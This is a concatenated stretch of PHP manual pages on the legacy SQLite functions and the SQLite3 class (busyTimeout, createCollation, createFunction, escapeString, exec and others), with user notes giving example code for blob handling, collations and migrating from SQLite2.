  • sqlite_unbuffered_query »
  • PHP Manual
  • SQLite Functions
  • Encode binary data before returning it from an UDF

sqlite_udf_encode_binary

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_udf_encode_binary — Encode binary data before returning it from an UDF

Description

string sqlite_udf_encode_binary ( string $data )

sqlite_udf_encode_binary() applies a binary encoding to the data so that it can be safely returned from queries (since the underlying libsqlite API is not binary safe).

If there is a chance that your data might be binary unsafe (e.g.: it contains a NUL byte in the middle rather than at the end, or if it has and 0x01 byte as the first character) then you must call this function to encode the return value from your UDF.

PHP does not perform this encode/decode operation automatically as it would severely impact performance if it did.

Note:

Do not use sqlite_escape_string() to quote strings returned from UDF's as it will lead to double-quoting of the data. Use sqlite_udf_encode_binary() instead!

Parameters

data

The string being encoded.

Return Values

The encoded string.

See Also

  • sqlite_udf_decode_binary() - Decode binary data passed as parameters to an UDF
  • sqlite_escape_string() - Escapes a string for use as a query parameter
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

B. Keil 07-May-2013 06:57
I wrote a script to transfer my old data from a mysql database, performing some changes to a sqlite3 database. When I realized that that the sqlite interfaces is no longer included in PHP and my PECL didn't get it installed it was too late.

However, there is a very easy, though not particularly performant way to get the job done like in the "sqlite_encode_blob" function I present below. Note that this does ONLY encode the data. To actually use it in a query you will have to wrap it like: X'data' See the example below.

#!/usr/bin/php
<?php
function sqlite_encode_blob($data) {
        $result = "";
        for ($i = 0; $i < strlen($data); $i++) {
                $result .= sprintf("%02X", ord(substr($data, $i, 1)));
        }
        return $result;
}

error_reporting(E_ALL);
$original = "62.jpg";
$data = file_get_contents($original);
$before = microtime(true);
$encodedData = sqlite_encode_blob($data);
$after = microtime(true);
unset($data);
echo "Encoding time needed: ".($after - $before)." seconds.\n";

$sql = <<<QUERY
BEGIN;
CREATE TABLE test(test BLOB);
INSERT INTO test(test) VALUES ( X'$encodedData' );
COMMIT;
QUERY;
unset($encodedData);

file_put_contents("test.sql", $sql);
`sqlite3 blob_test.db < test.sql`
?>

The tricky part is to get the data back out of the database - that is not possible with the command line tool as far as I can tell. You will have to use a language with an actual API.

The following example is written in C and compiles on a linux box where the sqlite3 API is installed using:
gcc -o test test.c `pkg-config --cflags --libs sqlite3`
Note that this has absolutely no error checking whatsoever. If the slightest thing goes wrong it will likely cause a segmentation fault and likely leave the database corrupted.

# FILE test.c START
#include <stdlib.h>
#include <stdio.h>
#include <sqlite3.h>
#define DB_FILE "blob_test.db"
#define QUERY_STRING "SELECT data FROM test"
#define STORAGE_FILE "test.jpg"

int main(int argc, char** argv) {
        sqlite3 *db = NULL;
        int size = 0;
        const char *data = NULL;
        sqlite3_stmt *query = NULL;
        const char *rest = NULL;
        FILE *file = NULL;
        sqlite3_open(DB_FILE, &db);
        sqlite3_prepare_v2(db, QUERY_STRING, sizeof(QUERY_STRING), &query, &rest);
        sqlite3_step(query);
        size = sqlite3_column_bytes(query, 0);
        data = sqlite3_column_blob(query, 0);
        file = fopen(STORAGE_FILE, "w");
        fwrite(data, 1, size, file);
        fclose(file);
        sqlite3_finalize(query);
        sqlite3_close(db);
        return 0;
}

# FILE test.c END


Execute a query that does not prefetch and buffer all data

  • « sqlite_udf_encode_binary
  • sqlite_valid »
  • PHP Manual
  • SQLite Functions
  • Execute a query that does not prefetch and buffer all data

sqlite_unbuffered_query

SQLiteDatabase::unbufferedQuery

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_unbuffered_query -- SQLiteDatabase::unbufferedQuery — Execute a query that does not prefetch and buffer all data

Description

resource sqlite_unbuffered_query ( resource $dbhandle , string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )
resource sqlite_unbuffered_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

Object oriented style (method):

public SQLiteUnbuffered SQLiteDatabase::unbufferedQuery ( string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

sqlite_unbuffered_query() is identical to sqlite_query() except that the result that is returned is a sequential forward-only result set that can only be used to read each row, one after the other.

This function is ideal for generating things such as HTML tables where you only need to process one row at a time and don't need to randomly access the row data.

Note:

Functions such as sqlite_seek(),
sqlite_rewind(), sqlite_next(),
sqlite_current(), and
sqlite_num_rows() do not work on result handles
returned from sqlite_unbuffered_query().

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

Data inside the query should be properly escaped.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

Returns a result handle or FALSE on failure.

sqlite_unbuffered_query() returns a sequential forward-only result set that can only be used to read each row, one after the other.

Changelog

Version | Description
5.1.0 | Added the error_msg parameter

See Also

  • sqlite_query() - Executes a query against a given database and returns a result handle

User Contributed Notes

radley25 at spamcop net 31-May-2004 09:27
Always use this over the sqlite_fetch_* functions if possible as it's much faster.


Returns whether more rows are available

  • « sqlite_unbuffered_query
  • SQLite3 »
  • PHP Manual
  • SQLite Functions
  • Returns whether more rows are available

sqlite_valid

SQLiteResult::valid

SQLiteUnbuffered::valid

(PHP 5 < 5.4.0)

sqlite_valid -- SQLiteResult::valid -- SQLiteUnbuffered::valid — Returns whether more rows are available

Description

bool sqlite_valid ( resource $result )

Object oriented style (method):

bool SQLiteResult::valid ( void )
bool SQLiteUnbuffered::valid ( void )

Finds whether more rows are available from the given result handle.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns TRUE if there are more rows available from the result handle, or FALSE otherwise.

See Also

  • sqlite_num_rows() - Returns the number of rows in a buffered result set
  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement

User Contributed Notes

There are no user contributed notes for this page.


SQLite3

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SQLite3 — The SQLite3 class
    • SQLite3::busyTimeout — Sets the busy connection handler
    • SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
    • SQLite3::close — Closes the database connection
    • SQLite3::__construct — Instantiates an SQLite3 object and opens an SQLite 3 database
    • SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function
    • SQLite3::createCollation — Registers a PHP function for use as an SQL collating function
    • SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function
    • SQLite3::escapeString — Returns a string that has been properly escaped
    • SQLite3::exec — Executes a result-less query against a given database
    • SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request
    • SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request
    • SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database
    • SQLite3::loadExtension — Attempts to load an SQLite extension library
    • SQLite3::open — Opens an SQLite database
    • SQLite3::prepare — Prepares an SQL statement for execution
    • SQLite3::query — Executes an SQL query
    • SQLite3::querySingle — Executes a query and returns a single result
    • SQLite3::version — Returns the SQLite3 library version as a string constant and as a number
  • SQLite3Stmt — The SQLite3Stmt class
    • SQLite3Stmt::bindParam — Binds a parameter to a statement variable
    • SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable
    • SQLite3Stmt::clear — Clears all current bound parameters
    • SQLite3Stmt::close — Closes the prepared statement
    • SQLite3Stmt::execute — Executes a prepared statement and returns a result set object
    • SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
    • SQLite3Stmt::reset — Resets the prepared statement
  • SQLite3Result — The SQLite3Result class
    • SQLite3Result::columnName — Returns the name of the nth column
    • SQLite3Result::columnType — Returns the type of the nth column
    • SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both
    • SQLite3Result::finalize — Closes the result set
    • SQLite3Result::numColumns — Returns the number of columns in the result set
    • SQLite3Result::reset — Resets the result set back to the first row

User Contributed Notes

bohwaz 21-Apr-2014 09:47
Another undocumented feature of the PHP SQLite3 object, available since 2009 is openBlob. Basically it's a function that will return a stream pointer to a blob value in a table. Very very useful when you are dealing with files stored in a SQLite3 database.

Source code says:

proto resource SQLite3::openBlob(string table, string column, int rowid [, string dbname])
Open a blob as a stream which we can read / write to.

But despite that it's not possible to write to the blob, only to read (the write method is empty in the extension source code: it won't return any error but no change will be recorded).

One example of use:

<?php

$db = new SQLite3('files.sqlite');
$db->exec('CREATE TABLE files (id INTEGER PRIMARY KEY, filename TEXT, content BLOB);');

$statement = $db->prepare('INSERT INTO files (filename, content) VALUES (?, ?);');
$statement->bindValue('filename', 'Archive.zip');
$statement->bindValue('content', file_get_contents('Archive.zip'));
$statement->execute();

$fp = $db->openBlob('files', 'content', $id);

while (!feof($fp))
{
    echo fgets($fp);
}

fclose($fp);

?>

You can also seek in the stream. This is pretty useful for saving large files from the database too, this way you can use stream_copy_to_stream, it will be faster and more memory-efficient than dumping the file in memory before writing it to the disk.

Please note that openBlob() won't work on VIRTUAL FTS4 compressed tables.
bohwaz 05-Sep-2013 01:10
As reported here: https://bugs.php.net/bug.php?id=65216 there are two undocumented and useful methods available:

SQLite3::createCollation(collation name, callback function) appeared in PHP 5.3.11 and allows to define a custom collation method.

SQLite3Stmt::readOnly(void) appeared in PHP 5.3.5 and returns true if a statement doesn't write in the database.

See the documentation pages on the corresponding classes for my comments showing example use of those methods.
Anonymous 06-Dec-2011 09:56
As of PHP 5.4 support for Sqlite2 has been removed. I have a large web app that was built with sqlite2 as the database backend and thus it exploded when I updated PHP. If you're in a similar situation I've written a few wrapper functions that will allow your app to work whilst you convert the code to sqlite3.

Firstly convert your DB to an sqlite3 db.

sqlite OLD.DB .dump | sqlite3 NEW.DB

Then add the following functions to your app:

<?php
function sqlite_open($location,$mode)
{
    $handle = new SQLite3($location);
    return $handle;
}
function sqlite_query($dbhandle,$query)
{
    $array['dbhandle'] = $dbhandle;
    $array['query'] = $query;
    $result = $dbhandle->query($query);
    return $result;
}
function sqlite_fetch_array(&$result,$type)
{
    #Get Columns
    $i = 0;
    while ($result->columnName($i))
    {
        $columns[ ] = $result->columnName($i);
        $i++;
    }

    $resx = $result->fetchArray(SQLITE3_ASSOC);
    return $resx;
}
?>

They're not perfect by any stretch but they seem to be working ok as a temporary measure while I convert the site.
Hope that helps someone
alan at chandlerfamily dot org dot uk 09-Aug-2010 10:36
PHP 5.3.3 introduced sqlite3::busyTimeout(int milliseconds) which does not currently seem to be documented.

It believe it acts like sqlite::busyTimeout - that is it tells sqlite3 to call an internal busyHandler if SQLITE_BUSY is returned from any call which waits a short period and then retries.  It continues to do this until milliseconds milliseconds have elapsed and then returns the SQLITE_BUSY status.

I don't know whether the default 60 second value is in place if this function is not called.


Introduction

Support for SQLite version 3 databases.

User Contributed Notes

Variofox 05-Oct-2012 04:38
Ubuntu 12.04 and up no longer has php5-sqlite3 included.

So this will no loger work:
<?php
$db = sqlite3_open(":memory:");
?>

Use this:
<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
    var_dump($row);
}
?>


Installation

The SQLite3 extension is enabled by default as of PHP 5.3.0. It's possible to disable it by using --without-sqlite3 at compile time.

Windows users must enable php_sqlite3.dll in order to use this extension. This DLL is included with Windows distributions of PHP as of PHP 5.3.0.

Note:

This extension was briefly a PECL extension but that version is only recommended for experimental use.

User Contributed Notes

Ash 10-Jun-2014 07:40
On Windows, make sure the   extension_dir = "ext"  line in  php.ini   is uncommented and pointing to the correct extensions directory if different from "ext".
spiro79 at gmail dot com 06-Jun-2013 06:17
On CentOS 6.4 many libraries are not activated... SQLite is one of them.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

SQLite3 Configure Options
Name | Default | Changeable | Changelog
sqlite3.extension_dir | NULL | PHP_INI_SYSTEM |

Here's a short explanation of the configuration directives.

sqlite3.extension_dir string

Path to the directory where the loadable extensions for SQLite reside.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQLITE3_ASSOC (integer)
Specifies that the Sqlite3Result::fetchArray() method shall return an array indexed by column name as returned in the corresponding result set.
SQLITE3_NUM (integer)
Specifies that the Sqlite3Result::fetchArray() method shall return an array indexed by column number as returned in the corresponding result set, starting at column 0.
SQLITE3_BOTH (integer)
Specifies that the Sqlite3Result::fetchArray() method shall return an array indexed by both column name and number as returned in the corresponding result set, starting at column 0.
SQLITE3_INTEGER (integer)
Represents the SQLite3 INTEGER storage class.
SQLITE3_FLOAT (integer)
Represents the SQLite3 REAL (FLOAT) storage class.
SQLITE3_TEXT (integer)
Represents the SQLite3 TEXT storage class.
SQLITE3_BLOB (integer)
Represents the SQLite3 BLOB storage class.
SQLITE3_NULL (integer)
Represents the SQLite3 NULL storage class.
SQLITE3_OPEN_READONLY (integer)
Specifies that the SQLite3 database be opened for reading only.
SQLITE3_OPEN_READWRITE (integer)
Specifies that the SQLite3 database be opened for reading and writing.
SQLITE3_OPEN_CREATE (integer)
Specifies that the SQLite3 database be created if it does not already exist.

User Contributed Notes

There are no user contributed notes for this page.


The SQLite3 class

(PHP 5 >= 5.3.0)

Introduction

A class that interfaces SQLite 3 databases.

Class synopsis

SQLite3 {
/* Methods */
public bool busyTimeout ( int $msecs )
public int changes ( void )
public bool close ( void )
public __construct ( string $filename [, int $flags [, string $encryption_key ]] )
public bool createAggregate ( string $name , mixed $step_callback , mixed $final_callback [, int $argument_count = -1 ] )
public bool createCollation ( string $name , callable $callback )
public bool createFunction ( string $name , mixed $callback [, int $argument_count = -1 ] )
public static string escapeString ( string $value )
public bool exec ( string $query )
public int lastErrorCode ( void )
public string lastErrorMsg ( void )
public int lastInsertRowID ( void )
public bool loadExtension ( string $shared_library )
public void open ( string $filename [, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE [, string $encryption_key ]] )
public SQLite3Stmt prepare ( string $query )
public SQLite3Result query ( string $query )
public mixed querySingle ( string $query [, bool $entire_row = false ] )
public static array version ( void )
}

Table of Contents

  • SQLite3::busyTimeout — Sets the busy connection handler
  • SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
  • SQLite3::close — Closes the database connection
  • SQLite3::__construct — Instantiates an SQLite3 object and opens an SQLite 3 database
  • SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function
  • SQLite3::createCollation — Registers a PHP function for use as an SQL collating function
  • SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function
  • SQLite3::escapeString — Returns a string that has been properly escaped
  • SQLite3::exec — Executes a result-less query against a given database
  • SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request
  • SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request
  • SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database
  • SQLite3::loadExtension — Attempts to load an SQLite extension library
  • SQLite3::open — Opens an SQLite database
  • SQLite3::prepare — Prepares an SQL statement for execution
  • SQLite3::query — Executes an SQL query
  • SQLite3::querySingle — Executes a query and returns a single result
  • SQLite3::version — Returns the SQLite3 library version as a string constant and as a number

User Contributed Notes

Anonymous 05-Sep-2013 01:06
There is an undocumented method "createCollation" in this class, as reported on https://bugs.php.net/bug.php?id=65216

The syntax of the method is similar to usort for example:

createCollation(collation_name, callback)

The callback function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Here is one example of use to collate unicode text as ASCII, so that for example in french Émilie will be ordered just after Emile and not after Zebra like it's the case with the default BINARY collation. This requires the "intl" module to be installed, see PHP doc for details (or apt-get install php5-intl in deb based distros).

<?php

$db = new SQLite3(':memory:');

$db->createCollation('translit_ascii', function ($a, $b) {
    $a = transliterator_transliterate('Any-Latin; Latin-ASCII; Lower()', $a);
    $b = transliterator_transliterate('Any-Latin; Latin-ASCII; Lower()', $b);
    return strcmp($a, $b);
});

$db->exec('
  CREATE TABLE people (name COLLATE translit_ascii);
  INSERT INTO people VALUES ("Émilie");
  INSERT INTO people VALUES ("Zebra");
  INSERT INTO people VALUES ("Emile");
  INSERT INTO people VALUES ("Arthur");
');

$stmt = $db->prepare('SELECT name FROM people ORDER BY name;');
$result = $stmt->execute();

while ($row = $result->fetchArray())
{
    echo $row['name'] . PHP_EOL;
}

// Displays:
// Arthur
// Emile
// Émilie
// Zebra

?>


Sets the busy connection handler

  • « SQLite3
  • SQLite3::changes »
  • PHP Manual
  • SQLite3
  • Sets the busy connection handler

SQLite3::busyTimeout

(PHP 5 >= 5.3.3)

SQLite3::busyTimeout — Sets the busy connection handler

Description

public bool SQLite3::busyTimeout ( int $msecs )

Sets a busy handler that will sleep until the database is not locked or the timeout is reached.

Parameters

msecs

The milliseconds to sleep. Setting this value to a value less than or equal to zero, will turn off an already set timeout handler.

Return Values

Returns TRUE on success, FALSE on failure.

User Contributed Notes

ppryor63 at gmail dot com 13-Feb-2014 10:30
The busyTimeout() method and related API sqlite3_busy_timeout() is a connection level attribute and affects whole connection and should be set once after opening connection.  Do not set to zero or you will encounter "Database is busy" error message when calling query, querySingle, prepare, or execute methods.  Also ensure that sqlite3 library is compiled with HAVE_USLEEP defined, otherwise busyTimeout() can only time out in seconds.  It is very highly recommended to call busyTimeout() with non-zero timeout for reliability in concurrent environment.


Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

  • « SQLite3::busyTimeout
  • SQLite3::close »
  • PHP Manual
  • SQLite3
  • Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

SQLite3::changes

(PHP 5 >= 5.3.0)

SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

Description

public int SQLite3::changes ( void )

Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement.

Parameters

This function has no parameters.

Return Values

Returns an integer value corresponding to the number of database rows changed (or inserted or deleted) by the most recent SQL statement.

Examples

Example #1 SQLite3::changes() example

<?php
$db = new SQLite3('mysqlitedb.db');

$query = $db->exec('UPDATE counter SET views=0 WHERE page="test"');
if ($query) {
    echo 'Number of rows modified: ', $db->changes();
}
?>

User Contributed Notes

krebs dot seb at googlemail dot com 10-Nov-2011 10:25
It seems, that this method doesn't report the affected rows properly, when using with savepoints or a transaction.


Closes the database connection

  • « SQLite3::changes
  • SQLite3::__construct »
  • PHP Manual
  • SQLite3
  • Closes the database connection

SQLite3::close

(PHP 5 >= 5.3.0)

SQLite3::close — Closes the database connection

Description

public bool SQLite3::close ( void )

Closes the database connection.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success, FALSE on failure.

Examples

Example #1 SQLite3::close() example

<?php
$db = new SQLite3('mysqlitedb.db');
$db->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


Instantiates an SQLite3 object and opens an SQLite 3 database

  • « SQLite3::close
  • SQLite3::createAggregate »
  • PHP Manual
  • SQLite3
  • Instantiates an SQLite3 object and opens an SQLite 3 database

SQLite3::__construct

(PHP 5 >= 5.3.0)

SQLite3::__construct — Instantiates an SQLite3 object and opens an SQLite 3 database

Description

public SQLite3::__construct ( string $filename [, int $flags [, string $encryption_key ]] )

Instantiates an SQLite3 object and opens a connection to an SQLite 3 database. If the build includes encryption, then it will attempt to use the key.

Parameters

filename

Path to the SQLite database, or :memory: to use in-memory database.

flags

Optional flags used to determine how to open the SQLite database. By default, open uses SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Open the database for reading only.

  • SQLITE3_OPEN_READWRITE: Open the database for reading and writing.

  • SQLITE3_OPEN_CREATE: Create the database if it does not exist.

encryption_key

An optional encryption key used when encrypting and decrypting an SQLite database.

Return Values

Returns an SQLite3 object on success.

Errors/Exceptions

Throws an Exception on failure.

Examples

Example #1 SQLite3::__construct() example

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

Anonymous 28-Apr-2012 08:32
Construct will fail if \ backslash is used in the database path,
use / forward slash instead for directory separators.
bohwaz 16-May-2011 07:59
$encryption_key and all encryption features will be enabled only if the SQLite encryption module is installed. It's a proprietary, costly module. So if it's not present, supplying an encryption key will have absolutely no effect.


Registers a PHP function for use as an SQL aggregate function

  • « SQLite3::__construct
  • SQLite3::createCollation »
  • PHP Manual
  • SQLite3
  • Registers a PHP function for use as an SQL aggregate function

SQLite3::createAggregate

(PHP 5 >= 5.3.0)

SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function

Description

public bool SQLite3::createAggregate ( string $name , mixed $step_callback , mixed $final_callback [, int $argument_count = -1 ] )

Registers a PHP function or user-defined function for use as an SQL aggregate function for use within SQL statements.

Parameters

name

Name of the SQL aggregate to be created or redefined.

step_callback

The name of a PHP function or user-defined function to apply as a callback for every item in the aggregate.

final_callback

The name of a PHP function or user-defined function to apply as a callback at the end of the aggregate data.

argument_count

The number of arguments that the SQL aggregate takes. If this parameter is negative, then the SQL aggregate may take any number of arguments.

Return Values

Returns TRUE upon successful creation of the aggregate, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Registers a PHP function for use as an SQL collating function

  • « SQLite3::createAggregate
  • SQLite3::createFunction »
  • PHP Manual
  • SQLite3
  • Registers a PHP function for use as an SQL collating function

SQLite3::createCollation

(PHP 5 >= 5.3.11)

SQLite3::createCollation — Registers a PHP function for use as an SQL collating function

Description

public bool SQLite3::createCollation ( string $name , callable $callback )

Registers a PHP function or user-defined function for use as a collating function within SQL statements.

Parameters

name

Name of the SQL collating function to be created or redefined

callback

The name of a PHP function or user-defined function to apply as a callback, defining the behavior of the collation. It should accept two strings and return as strcmp() does, i.e. it should return -1, 1, or 0 if the first string sorts before, sorts after, or is equal to the second.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SQLite3::createCollation() example

Register the PHP function strnatcmp() as a collating sequence in the SQLite3 database.

<?php

$db = new SQLite3(":memory:");
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->createCollation('NATURAL_CMP', 'strnatcmp');

$defaultSort = $db->query("SELECT col1 FROM test ORDER BY col1");
$naturalSort = $db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP");

echo "default:\n";
while ($row = $defaultSort->fetchArray()){
    echo $row['col1'], "\n";
}

echo "\nnatural:\n";
while ($row = $naturalSort->fetchArray()){
    echo $row['col1'], "\n";
}

$db->close();

?>

The above example will output:

default:
a1
a10
a2

natural:
a1
a2
a10

See Also

  • The SQLite collation documentation: » http://sqlite.org/datatype3.html#collation

User Contributed Notes

There are no user contributed notes for this page.


Registers a PHP function for use as an SQL scalar function

  • « SQLite3::createCollation
  • SQLite3::escapeString »
  • PHP Manual
  • SQLite3
  • Registers a PHP function for use as an SQL scalar function

SQLite3::createFunction

(PHP 5 >= 5.3.0)

SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function

Description

public bool SQLite3::createFunction ( string $name , mixed $callback [, int $argument_count = -1 ] )

Registers a PHP function or user-defined function for use as an SQL scalar function for use within SQL statements.

Parameters

name

Name of the SQL function to be created or redefined.

callback

The name of a PHP function or user-defined function to apply as a callback, defining the behavior of the SQL function.

argument_count

The number of arguments that the SQL function takes. If this parameter is negative, then the SQL function may take any number of arguments.

Return Values

Returns TRUE upon successful creation of the function, FALSE on failure.

Examples

Example #1 SQLite3::createFunction() example

<?php
function my_udf_md5($string) {
    return md5($string);
}

$db = new SQLite3('mysqlitedb.db');
$db->createFunction('my_udf_md5', 'my_udf_md5');

var_dump($db->querySingle('SELECT my_udf_md5("test")'));
?>

The above example will output something similar to:

string(32) "098f6bcd4621d373cade4e832627b4f6"

User Contributed Notes

bohwaz 28-Feb-2012 11:45
In PHP 5.4 there will be a createCollation method to use your custom collation method, to be able to sort datasets using unicode, like this:

<?php
setlocale(LC_COLLATE, 'fr_FR.UTF-8');
$db->createCollation('PHP_COLLATE', 'strcoll');

$db->query('SELECT * FROM my_table ORDER BY name COLLATE PHP_COLLATE;');
?>

But until this cool feature becomes available, you'll have to do some tricks, like this for french:

<?php
function sqlite3_to_ascii($str, $charset = 'UTF-8')
{
    // Don't process empty strings
    if (!trim($str))
        return $str;

    // We only process non-ascii strings
    if (preg_match('!^[[:ascii:]]+$!', $str))
        return $str;

    $str = htmlentities($str, ENT_NOQUOTES, $charset);

    $str = preg_replace('#&([A-za-z])(?:acute|cedil|circ|grave|orn|ring|slash|th|tilde|uml);#', '\1', $str);
    $str = preg_replace('#&([A-za-z]{2})(?:lig);#', '\1', $str);
    $str = preg_replace('#&[^;]+;#', '', $str);

    return $str;
}

$db->createFunction('to_ascii', 'sqlite3_to_ascii', 1);
$res = $db->query('SELECT * FROM test ORDER BY to_ascii(text);');
?>

This will convert non-ascii characters to ascii ones before collation. In fact this won't work with non-latin languages, but for latin-languages it's better than nothing.

Please note that this will slow down about 1.8 times the query (tested on a 10.000 rows table).
koalay at gmail dot com 26-May-2010 04:43
Since regular expression is not supported by default SQLite, we can create a user function to do the job.

<?php

$db = new SQLite3("database.sqlit3", 0666);

// create a function named "preg_match"
// with the php core function "preg_match"
if ($db->createFunction("preg_match", "preg_match", 2) === FALSE)
  exit("Failed creating function\n");

// this query will then works as expected
$result = $db->query("SELECT * FROM table1 WHERE
  preg_match('/^(apple|orange)$/', variable1)");

?>


Returns a string that has been properly escaped

  • « SQLite3::createFunction
  • SQLite3::exec »
  • PHP Manual
  • SQLite3
  • Returns a string that has been properly escaped

SQLite3::escapeString

(PHP 5 >= 5.3.0)

SQLite3::escapeString — Returns a string that has been properly escaped

Description

public static string SQLite3::escapeString ( string $value )

Returns a string that has been properly escaped for safe inclusion in an SQL statement.

Parameters

value

The string to be escaped.

Return Values

Returns a properly escaped string that may be used safely in an SQL statement.

Notes

Warning

addslashes() should NOT be used to quote your strings for SQLite queries; it will lead to strange results when retrieving your data.

User Contributed Notes

nhl261 at yahoo dot com 26-Sep-2014 06:11
Be careful if the string contains "\0" char.
see: https://bugs.php.net/bug.php?id=63419
alec at alecnewman dot com 09-Aug-2010 11:14
The reason this function doesn't escape double quotes is because double quotes are used with names (the equivalent of backticks in MySQL), as in table or column names, while single quotes are used for values.

This is important to remember, especially coming from another SQL implementation.  It can cause strange problems, for example, the query:

SELECT * FROM table WHERE column1="column1"

Would actually return every record, because column1 is always equal to column1.  This should instead be:

SELECT * FROM table WHERE column1='column1'

Double quotes are not escaped by the function because they are not interpreted specially within single quoted strings.


Executes a result-less query against a given database

  • « SQLite3::escapeString
  • SQLite3::lastErrorCode »
  • PHP Manual
  • SQLite3
  • Executes a result-less query against a given database

SQLite3::exec

(PHP 5 >= 5.3.0)

SQLite3::exec — Executes a result-less query against a given database

Description

public bool SQLite3::exec ( string $query )

Executes a result-less query against a given database.

Parameters

query

The SQL query to execute (typically an INSERT, UPDATE, or DELETE query).

Return Values

Returns TRUE if the query succeeded, FALSE on failure.

Examples

Example #1 SQLite3::exec() example

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE bar (bar STRING)');
?>

User Contributed Notes

namibj 27-Oct-2014 11:52
If you see one or more notes here stating that you need write access to the directory your db is in, than consider them explained. If you do not see any of them, just ignore the first paragraph in this note.

So, if you use WAL (Write-Ahead Log) (link to sqlite doc for this: http://sqlite.org/wal.html ), it needs write acces because of the implementation of multi-thread access to one db. You can turn it off, if you do not want to give the dir write access, but you can also create a certain file it needs (see the link for a description, as it is explained very well there) that you need write access to and you may get away using WAL without giving write accesss to the dir.
Rob Haverkort 04-Nov-2013 04:57
Actually, sqlite creates a journal-file when changing data and so it needs the write-permissions in the directory.
gamag 07-Mar-2013 06:02
SQLite needs to create some temp-files (journals...) to execute certain statements, so php needs write-permission in your db-directory.
info at tellmatic dot org 17-Jan-2013 12:50
IMPORTANT! just a note:

weird behaviour when doing an exec on a sqlite db!!!

if want to execute a query on a sqlite db with exec, and your dbfile already was e.g. mode 777, and you get some php errors saying

"SQLite3::exec(): unable to open database file in ...."

and you get crazy while debugging, just add write üermissions to the whole directory for the user the webserver/php runs.

this behaviour makes absolutely NO sense, and is a source of frustration.
at least a more meaningful errormessage would be nice.
i couldnt figure out why sqlite needs write permissions for the whole dir instead of only one file. this is stupid and must be a bug!
(to be secure you have to create a directory with write permissions only for php/apache)
moodsey211 at gmail dot com 17-Dec-2010 12:29
If you get the error message saying "SQLite3::exec. database locked." You just need to define a busyTimeout to work around this.


Returns the numeric result code of the most recent failed SQLite request

  • « SQLite3::exec
  • SQLite3::lastErrorMsg »
  • PHP Manual
  • SQLite3
  • Returns the numeric result code of the most recent failed SQLite request

SQLite3::lastErrorCode

(PHP 5 >= 5.3.0)

SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request

Description

public int SQLite3::lastErrorCode ( void )

Returns the numeric result code of the most recent failed SQLite request.

Parameters

This function has no parameters.

Return Values

Returns an integer value representing the numeric result code of the most recent failed SQLite request.

User Contributed Notes

i(a)yenkn.com 29-Jul-2014 07:03
return zero value means success.


Returns English text describing the most recent failed SQLite request

